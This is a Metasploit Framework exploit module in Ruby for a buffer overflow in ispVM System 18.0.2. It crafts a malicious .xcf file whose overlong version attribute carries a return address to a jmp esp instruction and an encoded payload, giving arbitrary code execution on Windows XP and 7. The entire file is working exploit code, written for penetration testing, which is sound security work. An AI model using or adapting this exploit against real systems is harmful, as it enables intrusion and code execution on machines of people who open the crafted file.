##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => "ispVM System XCF File Handling Overflow",
'Description' => %q{
This module exploits a vulnerability found in ispVM System 18.0.2. Due to the way
ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially
crafted file, when a long value is supplied for the version attribute of the ispXCF
tag. It results in arbitrary code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Discovery
'juan vazquez' # Metasploit
],
'References' =>
[
['OSVDB', '82000'],
['BID', '53562'],
['URL', 'http://secunia.com/advisories/48740/']
],
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00\x1a\x3c\x20\x3e\xff"
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
},
'Platform' => 'win',
'Targets' =>
[
[ 'ispVM System 18.0.2 / Windows XP SP3 / Windows 7 SP1',
{
'Offset' => 274,
'BreakOffset' => 243,
'Ret' => 0x780e9d6e # jmp esp from C:\ispTOOLS\ispvmsystem\MSVCP60.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => "May 16 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xcf']),
], self.class)
end
def exploit
buf = rand_text(target['Offset'])
buf[target['BreakOffset']] = "A"
buf << [target.ret].pack("V")
buf << payload.encoded
xcf = %Q|
<?xml version='1.0' encoding='utf-8' ?>
<!DOCTYPE ispXCF SYSTEM "IspXCF.dtd" >
<ispXCF version="#{buf}">
</ispXCF>
|
file_create(xcf)
end
end
